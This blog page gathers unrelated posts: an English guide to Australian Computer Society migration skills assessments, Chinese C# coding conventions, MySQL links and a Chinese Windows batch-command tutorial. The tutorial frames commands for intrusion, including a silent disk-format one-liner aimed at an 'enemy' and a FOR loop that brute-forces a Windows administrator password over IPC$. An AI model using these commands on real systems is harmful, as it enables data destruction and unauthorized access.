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Australia Migrant (2) – ACS Accessment

ACS Assessments

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Skills assessment for the IT specialists

Skills assessment for the IT industry is mainly done by the Australian Computer Society and has a potential to reap most points compared to other professionals. All occupations assessed by the ACS are worth 60 points, there is a fairly extensive MODL list, granting additional 15 or 20 points, and in many cases extra 10 points for Specific Work Experience are added almost automatically. So if successful, you could claim up to 90 points on the points test against your permanent residency visa application. How does that work then? Below is a collection of personal experience and common knowledge.

IT Occupations assessed by the ACS Occupation code Description 1224-11 Information Technology Manager 2231-11 Systems Manager 2231-13 Systems Designer 2231-15 Software Designer 2231-17 Applications & Analyst Programmer 2231-19 Systems Programmer 2231-21 Computer Systems Auditor 2231-79 Computing Professionals not elsewhere classified

There is a link to the assessment guidelines with more detailed description of positions that fall into each of those categories at the end of this article.

Computer Support Technicians This occupation is not assessed by ACS. Although it’s a skilled occupation, it attracts only 40 points and is assessed by Trade Recognition Australia (TRA).

Alternatives to ACS assessment There are some alternatives to an ACS assessment.

  • If your background is in engineering, an assessment from Engineers Australia (as an engineer or engineering technologist) may be possible.
  • If you were previously trained in another 60 point occupation, such as accounting or teaching, you could get assessed in that occupation instead.
  • If a 50 point occupation is enough, and you have a degree equivalent to an Australian bachelors degree, you could get assessed by Vetassess as a Management Consultant or a Business Information Professional not elsewhere classified.

If you have skill assessment in another 50 or 60 point occupation, then DIAC will not normally ask you to get ACS assessed as long as they can see that your IT experience is at a “skilled” level. However, it may be harder to get 10 points for work experience this way, and MODL points will probably not be available.

Assessment Groups To be assessed as suitable, applicants must demonstrate that they meet criteria in one of the following Groups:

Group A: an IT-major Bachelor Degree, plus 4 years of work experience
Group B: an IT-minor Degree or IT-major Diploma, plus 6 years of work experience. Some vendor certifications, such as MCSE, are accepted by ACS as equivalent to an Australian diploma in IT.
Group C: recent graduates of Australian University, majoring in IT, exempt from work experience if applying for skills assessment within 6 months from graduation
Recognition of Prior Learning (RPL): Non-IT education or no formal qualifications, plus 8 years of work experience. The 8 years is reduced to 6 years if you hold a qualification in any subject equivalent to an Australian diploma.

“Degree” and “Diploma” must be rated as equivalent to Australian standards.

The education background will be assessed against the country educational profiles, maintained by the NOOSR. Bad news is – ACS does not offer pre-assessment advice, neither on the educational background, nor on the suitability of your work experience, so be sure to have everything in check before you dive in – the application fee is not refundable.

Equivalent vendor certifications: ACS considers the following list of vendor certificates to be meeting Group B requirements:
MCSE, MCSD, CLP (Lotus) and CNE gained from 1997, and CDE (Novell, discontinued in March 2004), Master CNE , CNI , CCE (Citect), and OCM gained from 2004, and MCPD and MCITP gained from 2007, CISA and CISM gained from June 2007.

Work experience requirements
Work experience considered by the ACS must meet all of the following: be full-time, paid for, relevant to IT, and post-graduate. “Full-time” is defined as 38 hours per week, so if the employment was part time (20 hours per week or more), it will be pro-rated to the full-time equivalents. If the job description shows that part of the job was not relevant to IT, or not requiring sufficient level of expertise (such as hauling boxes with computer equipment), then the work experience will be deemed “part relevant” and pro-rated. After all this, all that matters, is that you have requisite number of years or not. Note, that work experience prior to graduation may not be considered to be at “professional level” and as such, could be reduced, or even ignored. Same applies to working while studying, so these situations require careful consideration.

Proof of work experience must be provided to the ACS as a basis for your claims, and is arguably the most important part of the application. The job reference letters should be on the company letterhead, signed by someone with authority, with good knowledge of your position – e.g. direct manager is the most solid referee. The descriptions of your duties have to be quite detailed, to show exactly what you did, what technology you have worked with and for how long. Some companies do not provide official statements of the job description, in which case those could be substituted by peer references. It is very important to be descriptive about what you did on the job, because vague statements could lead to making this job either part-relevant or, worst case, not count at all.

It is commonly agreed that the dates of employment should be specific to the date, not just month/year. The latter could be a cause for deduction of a month – and overall could make you fall short of the years needed.

Obviously, the references must be verifiable – the contact details of the referee should be there.

Note that Australian Immigration work experience requirements are not the same as those of the ACS. You must meet both!

Some situations that are unfortunately not that uncommon and that need special consideration:
Company merged and/or changed name: if you could provide a letter from a company, showing this, that would work fine.
Company went out of business:– try to locate your peers/managers and obtain a personal reference from them, write a note the company is defunct.

Self-employment: contracts are not considered by the ACS as a substitute for the work experience claims, according to their website, so references from the customers are best.
No contact with company or referee/company not willing to sign references/too afraid to admit intention to migrate: It so happens that some references can not be obtained. It is a shot in the dark really, but you or your peer could write a self-reference in form of a Statutory Declaration, explaining reasons and providing missing details. Whether it will be accepted as a valid reference or not, is anyone’s guess, but not doing this is denying yourself a chance. It must be said, that an application based solely on self-declarations would look far more questionable than the one with substantial verifiable base and one-two matters being self-declared.

Migration Occupation on Demand List The DIAC lists several occupations in the IT industry on the MODL list. If you can demonstrate work experience in the listed occupation (reference letters, eh?), 1 year out of 4 immediately before your application is made, then ACS will add the statement to the successful assessment advice: “Based on the provided certified documentation, it is my opinion that the applicant has 12 months experience in (name of specialization)”. If you intend to claim MODL points, you must specify the 2231-79 for the occupation code in your application and add a note to the cover letter, requesting consideration of the MODL nomination in (your specialization). Note, that occupation code 2231-79 in itself does not allow you to claim the MODL points, it only works if you have that magic statement in your result letter.

As at May 2008, the following list of specializations is recognized by the ACS: CISSP, C++/C#/C, Data Warehousing, Java/J2EE, Linux, .NET, Network Security/Firewall/Internet Security, Oracle, Peoplesoft, SAP, Siebel (especially Siebel Analytic), Solaris, UNIX.

MODL is reviewed by the DIAC twice a year. Current DIAC policy is such that the MODL points are counted against the point test if your occupation is on the MODL either at the time when you lodge your visa application, or at the time when the decision is made, i.e. it works in your favor.

Recognition of Prior Learning
For those without formal qualifications in IT there is a way to be assessed as suitable if you could provide prove 8 years of experience in IT (6 years if you have another qualification equivalent to an Australian diploma). In addition to the documents required for all applications, there is an RPL form plus project reports. The RPL form is an essay, describing your learning path, rather than repeating what is already said in the reference letters, soit is an additional piece of work, sometimes resulting in 100+ pages. It is advisable to write a detailed essay in chronological order,then chop it up into categories, as prescribed by the ACS’s Core Body of Knowledge.

There are three mandatory groups of the CBOK to be covered in the RPL form:
Interpersonal Communications
Ethics/Social Implications/Professional Practice
Project Management and Quality Assurance

And as much as you can from the rest:
Data Structures and Algorithms
Computer Organization and Architecture
Conceptual Modeling
Program Design and Implementation
Database Management
Data Communications and Networks
Systems Analysis and Design
Systems Software
Software Engineering and Methodologies
Discrete Mathematics
Security

The link to the detailed description of each area is in the current version of the CBOK is at the end of the article. As to the project reports – those should be real relevant cases (projects, career episodes) from your own experience where you should describe in sufficient level of detail what your responsibilities were, how long have you worked and what exactly have you accomplished, to support the claims of your learning experience.

Personal grunt. Everyone’s experience is different. There are some sites in the Net that provide, erm, “examples” of the RPL reports, job descriptions and reference letters, only to be ever slightly changed and shot at the ACS. Not only that is borderline indecent, that makes lives of all other applicants more and more difficult, due to constant tightening of the assessment guidelines. First commandment of the would-be immigrant – “Thou shalt not lie on your application”. ‘nuff said.

Application Process
Now, the real fun starts. Going by the definition of one of the Groups, you will need to send them an application form, accompanied by the following:
Who you are: copy of your passport or, at least birth certificate, resume
Educational background: academic transcripts, vendor certificates. If you had an exemption from a course, an explanation on what grounds that was granted.
Employer references

And an appropriate fee, which from July 1st, 2008 are:
Group A/B: A$400
Group C (recent graduates): A$360
RPL: $450

The application is paper-based, all materials have to be provided in English and be certified, if not provided in original. The ACS does not return materials back, so make sure not to send anything irreplaceable. The fee is payable by the major credit card, EFT or a money order in Australian dollars, payable to the ACS.

Once everything is packaged, it is best to send it off by a courier, then you can be sure the package made it there and have a track of the application date. ACS acknowledges the receipt of the application by email that you specify in your application within a week (plus or minus). The email will also contain a link, ID and password to the web page where you can check the status of your application.

Processing
New applications go in the queue, status shows “to be allocated”. Then it changes to “in progress”, then goes to one of the Assessors for final decision. Normally the processing takes around 10-12 weeks, but it may be more or less, depending on each individual case and their general workload. Note, that the ACS does not provide priority processing, so, if you were to lose points due to age, apply early.

The reviewers can make contact by email, to request additional documents or clarifications. They normally provide guidelines how they want the missing bits sent – electronically or by snail mail – depending on what it is. Once it is all up and done, the assessors make a decision on the result, which is one of the two: suitable or not. If MODL nomination is requested for the 2231-79 code, and the evidence is there, they will also write the magic statement about your 12 months experience in so and so, which will then allow you to claim MODL points on your visa application.

Result letter and what to do next
The result letter is dispatched usually within a day or so after the status changes to “with assessor”. Note, that ACS does not send them off electronically or advise on the results by any other means. Which means that if you did not get your result letter in 21 days, you can request a copy, and, if you wish, specify a different address.

So, what is next? Once you have your positive assessment letter, you can apply for the skilled migration visa electronically – and count your points in the points test like so: 60 points for nominated occupation
extra 10 points for “specific work experience”, if you worked for 3 out of 4 years in the nominated (or closely related) occupation,which is the case most of the time. Since ACS requires minimum 4 years of work experience, that is not hard to get, unless your career took a twist in the past couple of years.
15 points for being on the MODL, if you have no job offer, or 20 points if you have a job offer in your nominated (or closely related)occupation from a suitable Australian employer (which is defined as being more than 2 years on the market with more than 10 employees – basically excludes smallest and short-lived partnerships).
Recent graduates could gain additional points on top of what is shown above, if they complete “Professional year” program with the ACS accredited partner – this will allow you to claim extra 10 points under “Australian work experience” category.

For those, who was unfortunate enough to be classed as not suitable, you could appeal (A$300), if you believe that the job was misjudged to be part-relevant or not-relevant. Should the education be classed as not relevant to IT (or less relevant, putting you into another group), additional details should be provided to support your claim, that the courses taken are equivalent to the group requirements you applied under. The appeal should provide more details on the subject in question, there is no need to re-send any materials that the ACS already has.

So that’s that, for the most. The positive assessment letter is valid for 12 months (24 months for Group C recent graduates) so it is advisable to apply for your visa as soon as possible. If your circumstances did not allow you to apply within its validity period, you can apply for the revalidation for $200 AUD to extend its validity for another year (ex. Group C).

Almost forgot – Good luck. It never hurts to have a little extra good luck.

Useful links:
Department of Immigration and Citizenship: www.immi.gov.au
MODL: http://www.immi.gov.au/skilled/gener…-in-demand.htm
ACS website: www.acs.org.au
ACS Assessment guidelines: https://www.acs.org.au/assessment/do…Guidelines.pdf
ACS application FAQ: http://www.acs.org.au/index.cfm?acti…conID=skillfaq
RPL form and the CBOK: https://www.acs.org.au/assessment/docs/RPL_Pack_2.pdf
Skills assessment form: https://www.acs.org.au/assessment/do…assessform.pdf
Professional Year Program: http://www.acs.org.au/index.cfm?action=show&conID=pyp
Country educational profiles: http://aei.dest.gov.au/AEI/CEP/Default.htm
Statutory Declaration page: http://www.ag.gov.au/www/agd/agd.nsf…ry_declaration

Kudos: For review and contributions: desperatehousewife; stellaman; AndyR; The_Griswolds
For preparation and compilation of the article: newjersey

Acknowledgments:
Information on here was collected from publicly available sources, discussion boards, other publications, and copyrighted, where source is known. Information referred to and contained in the ACS website is copyright and intellectual property of the Australian Computer Society, and is subject to change without notice from either publisher of this article or the ACS.

Disclaimer: ACS assessment in itself merely provides a basis for the skilled migrant visa application as a way to gain points in the points test and is in no way a guarantee that the visa eventually granted, because applicants have to meet lots of other criteria. This article makes no representation to the accuracy of advice pertinent to any individual or case, and contains no express or implied warranty or condition, including fitness for any purpose in any jurisdiction. It is your sole responsibility to obtain professional migration advice from MARA registered agent and you will not hold neither publisher, nor authors liable for any actions or consequences arising out of practical application of the above materials. Copyrighted materials are property of their respective owners. No part of this article may be reproduced in any form without express written permission of the publisher.

Posted in Australia, Migrant.


Austrialia Migrant (1)

1. Related Websites for Australia Migrant:

Austialia migrant official website:

http://www.immi.gov.au

Austialia Computer Society website:

http://www.acs.org.au/index.cfm?action=show&conID=skillapplication

Core Body of Knowledge for Information Technology Professionals:

http://www.acs.org.au/index.cfm?action=show&conID=cbok2

Country Education Profiles (CEP) Online:

http://aei.gov.au/AEI/CmsTemplates/CEP/CEPHome.aspx?NRMODE=Published&NRNODEGUID=%7b1139F4AE-17E1-46B3-9159-F2943B42D3F0%7d&NRORIGINALURL=%2fAEI%2fCEP%2fDefault.htm&NRCACHEHINT=ModifyGuest

Posted in Australia, Migrant.

Tagged with , .


C# 语言规范

 

 C#语言规范

1. 命名规范

  a)    类

【规则1-1】使用Pascal规则命名类名,即首字母要大写。

【规则1-2】使用能够反映类功能的名词或名词短语命名类。

【规则1-3】不要使用“I”、“C”、“_”等特定含义前缀。

【规则1-4】自定义异常类应以Exception结尾。

【规则1-5】文件名要能反映类的内容,最好是和类同名。

b)    类字段和局部变量

【规则2-1】用camel规则来命名局部变量名称,即首单词(或单词缩写)小写。

【规则2-2】类字段(属性存储器)变量名前加“_”前缀。例:int _Age;

【规则2-3】坚决禁止在普通变量前加“m_”(这是VC老命名规则)。

c)方法

  【规则3-1】方法名采用Pascal规则,第一个字符要大写。

 【规则3-2】方法名应使用动词或动词短语。

 【规则3-3】类中访问修饰符或功能相同的方法应该放在一起, 且公共或实现接口的方法在前。

             d)属性

【规则4-1】使用名词定义属性,属性使用Pascal规则,首字符大写。例:int Age;

【规则4-2】属性和相应字段名称要关联, 可以使用“重构”菜单来生成属性。

            e)参数

          【规则5-1】参数采用camel规则命名,且首字符小写。

          【规则5-2】使用描述性参数名称,参数名称应当具有最够的说明性。

          【规则5-3】不要给参数加匈牙利语类型表示法的前缀。

          【规则5-4】检查方法所有输入参数的有效性。

 f)常量

            【规则6-1】只读常量使用Pascal命名规则,即首字母大写。

  【规则6-2】枚举名使用Pascal规则命名,枚举成员本质属于常量,命名规则同上。

            【规则6-3】枚举值从小到大顺序定义。

            【规则6-4】静态字段或属性采用Pascal规则,即首字符大写。

              g)接口

            【规则7-1】接口定义使用Pascal规则,且必须以大写“I”开头。

            【规则7-2】接口名称要有意义,中间不要有下划线“_”等字符。

            【规则7-3】如果类实现了接口,名称尽量和接口相同, 只是省掉“I”字符。

             h)事件

           【规则8-1】委托名称采用Pascal规则,即首字符大写。

           【规则8-2】定义事件的委托要使用EventHandler后缀,且包括sender和e两个参数。

            例:Public delegate void  MouseEventHandler(object sender, MouseEventArgs e);   

            【规则8-3】事件用到的参数类,名称要带EventArgs后缀。

i)  命名空间

【规则9-1】命名空间名称采用Pascal规则,且首字符大写。

【规则9-2】命名空间名称尽量反映其内容所提供的整体功能。

2. 注释规范

a)文件头部注释

【规则1-1】文件都包含文件头, 要说明文件名、作者、创建时间、变更记录。

          【规则1-2】推荐采用.NET形式书写头部注释。

            b)类及其成员注释

          【规则2-1】对方法和类使用“///”三斜线注释。

          【规则2-2】代码行文注释采用“//”和“/**/”进行,应该尽量说明问题。

3.行文规范

    a)缩写规范

   【规则1-1】标识符应当直观可望文知意,不提倡使用任何缩写。

   【规则1-2】字符串变量推荐是用“str”或“s”开头,采用string.Empty来初始化。

   【规则1-3】普通对象可以以“obj”开头。

   【规则1-4】缩写可自行定义,一般取单词的前/后字符组成,以含义直观为准则。

   【规则1-5】一般情况下不要让缩写破坏标识符的含义。

   【规则1-6】缩进用Tab,禁止用空格(Space)。

b)排版

  【规则2-1】每行语句至少占一行,如果语句过长(超过一屏),则该语句断为两行显示。

   【规则2-2】把相似的内容放在一起,比如字段、属性、方法、事件等,使用“#region–#endregion”命令分组。

   【规则2-3】多个程序元素进行对等操作是, 操作符之前、之后或者前后都要加空格。

   【规则2-4】每个方法的源程序行数原则上应该少于200行。

   【规则2-5】语句嵌套层次不得超过3层。

   【规则2-6】避免相同的代码段在多个地方出现。

    c)语句结构

   【规则3-1】如果使用了异常结构,一定要处理异常, 一般是要写日志文件。

   【规则3-2】分支语句不应该使用复杂长条件, 应该将长条件封装成方法。

   【规则3-3】switch语句,case后面必须接break。

   【规则3-4】禁止使用goto语句进行跳转。

   【规则3-5】行文中严禁出现“魔数”,特定含义的常数必须定义成枚举或常量。

   【规则3-6】不同类型的操作符混合使用时,使用括号给出优先级。

   【规则3-7】不允许使用复杂的操作符组合等。

   【规则3-8】循环、判断语句的程序块部分用花括号括起来, 即使只有一条语句。

   【规则3-9】在switch语句中总是要有default字句,建议使用断言。

   【规则3-10】每个类和方法完成单一的功能,不设计多用途面面俱到的类或方法。

   【规则3-11】严禁使用未经初始化的变量,变量通常使用构造方法来初始。

              d)代码缩进

    【规则4-1】碰到大括号要换行。

    【规则4-2】不允许使用Java中的括号换行规范。

      e)大小写

     【规则5-1】不要创建名称相同,但大小写区别的任何元素。

     【规则5-2】应当大写仅有两个字符的缩写。

     【规则5-3】不要把易混淆的数字和字符放在一起。

     【规则5-4】使用英文命名标识符。

   f)重名规范

  【规则6-1】不允许变量名、类名、属性名、 方法名等与系统标识符重名。(系统标识符见附表)

    g)SQL编码规范

  【规则7-1】SQL语句全部大写。

   【规则7-2】对较为复杂的SQL语句加上注释,说明其功能。

   【规则7-3】连接符OR、IN、AND、以及=、<=、>=等前后加空格。

   【规则7-4】使用明确的列代替 SELECT *。

   h)软件架构

  【规则8-1】数据库中每一张表对应一个实体类/数据传输对象(DTO)。

   【规则8-2】实体类名称使用表名,也可带有Dto后缀。

   【规则8-3】三层架构应当合理使用,不应生搬硬套。

   【规则8-4】三层架构元素推荐使用后缀:

                     数据传输对象         XxxxDto

                       DAO工厂                           XxxDAOFactory

                       DAO接口                           IXxxxDAO

                       服务接口                   IxxxxService

                       DAO的数据库实现            XxxxDAOOracle/XxxxDAOInfomix

                       业务逻辑                   XxxxManager

    i)系统

  【规则9-1】系统输入、资源操作(如内存分配、文件及目录操作)、网络操作(如通信、调用等)、任务间的操作(如通信、调用等)时必须进行错误、超时、或则异常处理。

   【规则9-2】模块编写应该有完善的测试方面的考虑。

  j)  文件组织

【规则10-1】每个类或文件控制代码行在2000以下,一个类占用一个文件,文件名应和类名相同。

【规则10-2】根据命名空间的层次创建目录结构。

   例如: MyProject.TestSuite.TestTier 用 MyProject/TestSuite/TestTier 作为路径。

 

 

 

附表

表1 各种类型命名规范总结

类型 

命名规则 

注意事项

实例

类或结构

Pascal

首字符大写

HttpContext

接口

Pascal

加前缀I

IDataAdaper

枚举名

Pascal

首字符大写

CommandType

枚举值

Pascal

首字符大写

CommandType.Text

事件

Pascal

首字符大写

SelectedIndexChanged

自定义异常

Pascal

加后缀Exception

ArgumentException

公共字段

Pascal

首字符大写

Int32.MaxValue

方法

Pascal

首字符大写

ToString()

命名空间

Pascal

首字符大写

System.Xml

属性

Pascal

首字符大写

BackColor

保护或私有字段

Camel

首字符小写

myVariable

参数

Camel

首字符小写

cmdText

 

表2 数据类型缩写规则

数据类型

数据类型缩写

标准命名实例

Bool

b/is

IsVisable

Float

F

FPrice

Double

D

DPrice

Unit

U

UAge

Int

I

INumber

Char

Ch

ChCode

Byte

Bt

BtImages

String

Str

StrName

Struct

St

StStudent

Window

Wnd

WndMain

ArrayList

Lst

LstStudents

Array

Arr

ArrStudents

Hashtable

Ht

Htstudents

 

表3 Windows控件缩写规则

控件类型

控件名称

控件类型缩写

实例

Label

标签框

Lbl

LblMessage

LinkLabel

超链接标签框

Lnk

LnkToday

Button

按钮

Btn

BtnSave

TextBox

文本框

Txt

TxtName

MainMenu

菜单栏

Mmnu

MmnuFile

CheckBox

多选框

Chk

ChkStock

RadioButton

单选框

Rbtn

RbtnSelected

GroupBox

组合框

Gbx

GbxMain

PictureBox

图片框

Pic

PicImage

Panel

 

Pnl

PnlBody

DataGrid

 

Dgrd

DgrdView

ListBox

 

Lst

LstProducts

CheckedListBox

 

Clst

ClstChecked

ComboBox

组合框

Cbo

CboMenu

ListView

列表视图

Lvw

LvwBrowser

TreeView

树视图

Tvw

TvwType

TabControl

 

Tctl

TctlSelected

DateTimePicker

 

Dtp

DtpStartDate

HscrollBar

 

Hsb

HsbImage

VscrollBar

 

Vsb

VsbImage

Timer

 

Tmr

TmrCount

ImageList

 

Ilst

IlstImage

ToolBar

工具栏

Tlb

TlbManage

StatusBar

状态栏

Stb

StbFootPrint

OpenFileDialog

 

Odlg

OdlgFile

SaveFileDialog

 

Sdlg

SdlgSave

FoldBrowserDialog

 

Fbdlg

FbdlgBrowser

FontDialog

 

Fdlg

FdlgFoot

ColorDialog

 

Cdlg

CdlgColor

PrintDialog

 

Pdlg

PdlgPrint

 

 

表 4 数据库对象缩写规范

数据库对象

名称

简写

实例

Connection   Con ConNorthwind
Command   Cmd CmdReturnProducts
Parameter   Parm ParmProductID
DataAdapter   Dap DapProducts
DataReader   Dtr DtrProducts
DataSet   Ds DsNorthwind
DataTable   Dt DtProduct
DataRow   Drow DrowRow
DataColumn   Dcol DcolProductID
DataRelation   Drl DrlMasterDetail
DataView   Dvw DvwFilteredProducts

 

Posted in .Net.


MySQL 资源链接

 

 

mysql

1 . MySQL 安装与配置

2. MySQL 5.1参考手册

Posted in MySQL.


BAT命令大全(收藏)

 

ms dos logo

ms dos logo

一.简单批处理内部命令简介

1.Echo 命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。

  语法

echo [{on│off}] [message]

Sample:@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 

2.@ 命令

表示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦 。

Sample:@echo off

@echo Now initializing the program,please wait a minite…

@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 

3.Goto 命令

指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。)

Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果这里的if、%1、%2就是表示变量。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

  标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 

4.Rem 命令

注释命令,起一个注释的作用,便于别人阅读和你自己日后修改。

Rem Message

Sample:@Rem Here is the description. 

5.Pause 命令

运行 Pause 命令时,将显示下面的消息:

Press any key to continue . . .

Sample:

@echo off

:begin

copy a:*.* d: \back

echo Please put a new disk into driver A

pause

goto begin

在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 

6.Call 命令

从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。

语法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数

[Drive:}[Path] FileName

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 

7.start 命令

调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。

入侵常用参数:

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 

8.choice 命令

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为 1234……

如 : choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat的内容如下 :

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (应先判断数值最高的错误码)

if errorlevel 2 goto mem

if errotlevel 1 goto end 

:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye 

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 

9.If 命令 

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式 :

a、if “参数” == “字符串”  待执行的命令

参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

如 if “%1″==”a” format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms 

b 、if exist 文件名  待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如if exist config.sys edit config.sys 

c 、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto x2  

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 

10.for 命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 

for {%variable│%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: 

FOR /D %variable IN (set) DO command [command-parameters] 

如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。 

FOR /R [[drive:]path] %variable IN (set) DO command [command- 

检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 

FOR /L %variable IN (start,step,end) DO command [command-para 

该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN (”string”) DO command

FOR /F ["options"] %variable IN (’command’) DO command 

或者,如果有 usebackq 选项: 

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN (”string”) DO command

FOR /F ["options"] %variable IN (’command’) DO command 

filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 “options” 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

eol=c – 指一个行注释字符的结尾(就一个 )

skip=n – 指在文件开始时忽略的行数。

delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

usebackq – 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

sample1:

FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do command 

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。 

%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或’Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。 

您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。 

最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子: 

FOR /F “usebackq delims==” %i IN (`set`) DO @echo %i 

会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法: 

~I – 删除任何引号(”),扩充 %I

%~fI – 将 %I 扩充到一个完全合格的路径名

%~dI – 仅将 %I 扩充到一个驱动器号

%~pI – 仅将 %I 扩充到一个路径

%~nI – 仅将 %I 扩充到一个文件名

%~xI – 仅将 %I 扩充到一个文件扩展名

%~sI – 扩充的路径只含有短名

%~aI – 将 %I 扩充到文件的文件属性

%~tI – 将 %I 扩充到文件的日期/时间

%~zI – 将 %I 扩充到文件的大小

%~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串 

可以组合修饰符来得到多重结果: 

%~dpI – 仅将 %I 扩充到一个驱动器号和路径

%~nxI – 仅将 %I 扩充到一个文件名和扩展名

%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI – 将 %I 扩充到类似输出线路的 DIR  

在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。 

以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 

sample2 : 

利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用net use \\ip\ipc$ “password” /u:”administrator”来尝试这和目标主机进行连接,当成功时记下密码。

最主要的命令是一条: for /f i% in (dict.txt) do net use \\ip\ipc$ “i%” /u:”administrator”

